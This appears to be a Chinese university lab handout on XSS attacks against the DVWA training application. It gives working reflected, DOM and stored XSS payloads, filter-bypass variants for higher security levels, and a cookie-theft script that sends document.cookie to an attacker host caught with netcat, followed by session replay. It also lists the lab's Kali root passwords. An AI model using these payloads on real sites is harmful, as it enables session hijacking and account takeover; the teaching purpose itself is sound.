1. 实验内容与步骤

**任务一：将DVWA Security级别设为低，尝试三种类型攻击**

1. 对于反射型XSS攻击，输入<script>alert(‘xss’)</script>
2. 观察到弹窗，说明攻击成功。
3. 对于DOM类型XSS攻击，在选择语言后，在地址栏直接添加<script>alert(‘xss’) </script>，如下图所示
4. 观察到弹窗，说明攻击成功。
5. 对于存储型XSS攻击，在留言板里面的Message部分填入<script>alert(‘xss’) </script>
6. 观察到弹窗，说明攻击成功。

**任务二：将级别分别调至Medium和High级别，对存储型XSS进行实验**

1. 可以根据课堂讲授的方法、百度搜索资料进行XSS攻击实验
2. 提示：

可采用大小写混合的方式 <sCriPt>alert(/XSS/)</scRipT>

多重嵌套 <scr<script>ipt>alert(/XSS/)</script>

多标签测试 <img src=x onError=alert('xss')>

1. 对High级别的存储型XSS完成攻击，弹窗显示学号。

**相比较中级而言，高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过。比如：<img src=x onError=alert('xss')>。在浏览器窗口中查看文本框元素，按F12调出，找到对应的文本框，双击maxlength，把数值为200**

1. 脚本通常会超过文本框输入长度的限制，需要在浏览器窗口中查看文本框元素，按F12调出，找到对应的文本框，或者在文本框上右击，点击“检查”（Firefox是“检查元素”）。双击maxlength，把数值50修改为200或更大

**任务三：XSS攻击的利用方式---窃取Cookie**

1. 为了方便窃取Cookie，将安全级别设置为Low。因为这里假设已经完成XSS攻击，重点考虑如何设置脚本，而不是找到XSS攻击的漏洞点。
2. 情景：在Admin用户登录后，系统会产生Cookie，现在攻击者的目标是试图获取Admin的Cookie，从而不需要密码进行登录。从中可以了解到XSS攻击的危害。
3. 提供一种思路。假设受害者计算机为A，攻击者计算机为B（假设地址为：10.10.10.1），在A上注入以下恶意脚本：

<script>document.location= 'http:// 10.10.10.1:808/acceptcookie.php?cookie=' +document.cookie;</script>

在B计算机上，使用nc(netcat)命令监听808端口：

sudo nc -lvp 808

这里的808端口不能被其他程序占用，和上面的端口配合使用，两者修改一致即可。在Linux下可以直接使用nc命令，Windows下需要提前下载nc软件。学院机房Kali虚拟机的用户名是root, 密码是123或njupt。

（4）首先在htdocs文件夹下新建cookie.php内容如下



目的是充当攻击者自己的服务器，为了将获取到的cookie，保存到cookie.php所在目录下自动生成一个cookie.txt。

接着构造payload如下

<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

这样，所有执行这段js语句的人都将向<http://127.0.0.1/cookie.php>上传自己的cookie参数。

（5）获取A的cookie后，在计算机B上，建议使用Firefox，安装Cookie Editor插件，使用插件修改Cookie后登录，可以发现不需要密码也能成功登录。

